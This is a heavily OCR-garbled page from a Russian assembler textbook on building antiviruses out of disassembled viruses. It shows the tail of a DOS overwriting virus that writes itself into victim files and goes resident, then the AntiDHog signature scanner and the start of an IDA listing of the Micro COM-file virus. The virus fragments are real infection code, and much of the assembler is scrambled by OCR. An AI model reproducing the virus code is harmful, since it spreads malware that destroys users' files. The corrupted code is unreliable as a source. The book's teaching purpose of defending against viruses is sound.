Анимация
JavaScript
|
Главная Библионтека Ассемблер в задачах защиты информа! mov dx, lOOh; Записать вирус ; из оперативной памяти в файл int 21h ; DOS - 2+ - WRITE TO FILE ; WITH HANDLE ; BX = file handle, CX = number of bytes ; to write, DS: DX -> buffer start a MaskForVir segOOO mov int raov int mov mov endp ah, 3Eh ; Закрыть файл-жертву 21h ; DOS - 2+ - CLOSE A FILE ; WITH HANDLE 00000000 ; BX = file handle ah, 4Fh ; Искать следующий 21h ; DOS - 2+ - FIND NEXT ASCIZ ; (FINDNEXT) ; [DTA] = data block from ; last AH = 4Eh/4Fh call loc 0 107 ; Пока еще есть ; неиспорченные файлы -; крутимся в этом цикле ends end start ah, dx, 31h 7530h Выйдя, оставим "дутый" резидент DOS - DOS 2+ - TERMINATE BUT STAY RESIDENT AL = exit code, DX = program size, in paragraphs Маска в формате ASCIIZ Напишем антивирус. Случай простой, и можно взять за основу дизассемблированный исходный тек. самого же вируса. Очевидны необходимые изменения; убрать оставление в ОП "дуто резидента", вместо заражения файлов сделать обнаружение сигнатуры вируса, и в случ обнаружения - принимать меры. Очевидно, что все файлы, зараженные замещающими вирусами, необходимо стир с диска. Кроме того, полезно перед стиранием "убить" зараженный файл, т. е. запис;-в его начало команду 1NT 20h. Это предохранит от новой вспышки вируса, если стертый файл с вирусом ошибочно восстановят (например, профаммой UnErase) и запустят. Наличие вируса будем определять по длинной (14 байт) сигнатуре по смещению OEli от начала файла. Для простоты профаммы (все-таки это демонстрационный пример, а реальный антивирус) напишем вариант, проверяющий файлы в текущей директории- Антивирус носит явно выраженный тренировочный характер - достаточно сказат" что нет рекурсивного обхода каталогов. Профамма AntiDHog написана как пример pea- лизации поиска сигнатур на Ассемблере, и ее реальное применение для защиты коМП" ,!:c...?.;.[]P?.?Pf.r.r.f:f..iPf90Ba . тера не предусматривалось. Хотя оно и возможно лог, куда могли попасть зараженные файлы ~ "Р""" проверять каждь.й ка Ниже представлен исходный текст антивируса. . ======Ап t i DHog.asra ==============-== Переместить указатель в файле~==~~=-Г1ГГ!::" MoveFPosmacro FHandle, FPos ~ ~ ---- ах, bx. сх, сх dx, FPos 21h mov mov xor mov int endm include io.inc segOOO segment byte public CODE assume cs:segOOO org lOOh assume es:nothi ;=========== SUBROUTINE public start proc near PutStr TitleStr ;== Поставить DTA === 4200h F Handle ng, ss:nothing, ds:seg000 start mov mov mov int mov raov sgScan push ds ah, lAh dx, offset DTA cx, 27h ah, 4Eh dx, offset a MaskForVir ,• Поиск первого файла по маске *.*. ; DOS - 2+ - FIND FIRST ASCIZ (FINDFIRST) ; CX = search attributes ; DS:DX -> ASCIZ filespec ; (drive, path, and wildcards allowed) CODE XREF: start+37(i pop mov mov mov rep es si, di, cx. FN Ofs offset FName 13 movsb "•ov ah, 43h raov al, 0 mov int mov mov mov mov int mov mov dx, offset FName ; Получить атрибуты найденного файла Zlh ; DOS - 2+ - GET FILE ATTRIBUTES ; DS:DX -> ASCIZ file name or directory ; name without trailing slash 43h 1 offset FName ah, al, dx, cl, Zlh 0 ; Сбросить атрибуты. DOS - 2+ - SET FILE ATTRIBUTES DS:DX -> ASCIZ file name CX = file attribute bits ax, 3D10h dx, offset FName ; Открыть файл-жертву для записи/чтения 21h ; DOS - 2+ - OPEN DISK FILE WITH HANDLE ; DS:DX -> ASCIZ filename ; AL = access mode ; 10 - read/write Сохранить номер файла mov FHandle, ax mov ah, 40h mov cl, 44h nop ; No Operation nop ; No Operation Выдать имя файла call InfoAboutFile Проверка сигнатуры call ReadSignature cmp SignatureFound, 0 je NextFile Записать в начало файла команду int 20h call KillExecutable Стереть файл call RemoveExecutable NextFile: call Curelnfo ah, 4Fh ; 21h BegScan Искать следующий DOS - 2+ - FIND NEXT ASCIZ (FINDNEXT) [DTA] = data block from last AH = 4Eh/4Fh call Пока еще есть непроверенные ; файлы - крутимся в этом цикле start endp MaskForVir db О ; Маска в формате ASCIIZ pj; db 43 dup (0) Ofs equ offset DTA+lEh fUlme db 128 dup (0) inane db 128 dup (0) SignatureFound db 0 SignatureArray db 14 dup (0) yjrSignature db OCDh, 21h, 0B4h, 43h, OBOh, Olh, OBAh db 9Eh, OOh, OBlh, OOh, OCDh, 21h, 0B8h intZOCmd db OCDh, 20h FHandle dw 0 TitleStr db +----------------------------+, 13, 10 db lAntiDHog - пример антивируса!, 13, 10 db +----------------------------+, 13, 10, NorraStr db - Ok, 13, 10, $ CureStr db - пришлось стереть., 13, 10, $ ; Прочесть и проверить сигнатуру вируса ReadSignature proc near ; Сбросить флаг найденной сигнатуры mov SignatureFound, О ; Переместить указатель на смещение OEh MoveFPos FHandle OEh ; Прочесть первые 68 байт вируса mov ah, 3Fh raov bx, FHandle mov cx, 14 mov dx, offset SignatureArray int 21h ; Проверить чтение eld push ds pop es mov si, offset VirSignature mov di, offset SignatureArray mov cx, 14 «Ре ompsb jnz Finish Сигнатура найдена! mov SignatureFound, 1 finish: ret adSignature endp lExecutable proc near Реместить указатель MoveFPos FHandle 0 бить" файл mov ah, 40h mov mov mov ; Закрыть файл mov raov int ret KillExecutable endp RemoveExecutable proc near ; "Вытереть" файл mov mov int ret RemoveExecutable endp InfoAboutFile proc near NextChar: bx, FHandle cx, 2 dx, offset Int20Cmd 21h ah, 3Eh bx, FHandle 21h ah, dx, offset FName InfoAboutFile Curelnfoproc near ContMsg: int Curelnfoendp segOOO
удаления. Затем (после главной подпрофаммы) идут директивы объявления пере\ ных, а после этого раздела - все подпрофаммы, реализующие проверку сигнату "убивание" файла, удаление его с диска и выдачу информации о заражеь сти/незараженности файла. Еще один антивирус из вируса. Изготовление антивируса из самого же попавще ся вируса возможно и в более сложных (до известных пределов - например, из перм> рующего вируса сделать антивирус от него же очень сложно, ифа не стоит свеч) сл> ях. Рассмотрим изготовление антивируса из паразитического вируса Micro, заражающего СОМ файлы в текущем каталоге стандартной записью в их начало. Начнем с полученного в среде IDA листинга вируса. 0100 0100 0100 0100 0100 0100 0100 0100 0100 В4 0102 8В 0104 0104 0104 81 0108 ВА ОЮВ В1 010D 010D 010D CD 010D 010F 72 0111 ВА 0114 В8 0117 CD 0117 0119 93 ОЦА В6 ОПС В4 OllE CD ОЦе ; Segment type: Pure code segOOO segment byte public CODE assume cs:segOOO org lOOh assume es:nothing, ss:nothing, ds:segOOO public start start proc near mov ah, 4Eh mov di, si C6 00 FF 56 01 21 35 9E 00 02 3D 21 ModSiCmd: add si, OFFOOh mov dx, offset FMask ; "♦.cOm" mov cl, 5Ch SearchLoop: int 21h FE 3F 21 jb mov mov int xchg mov mov int MoveCode dx, 9Eh ax, 3D02h 21h ax, bx dh, OFEh ah, 3Fh 21h Больше файлов нет 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 [ 41 ] 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 |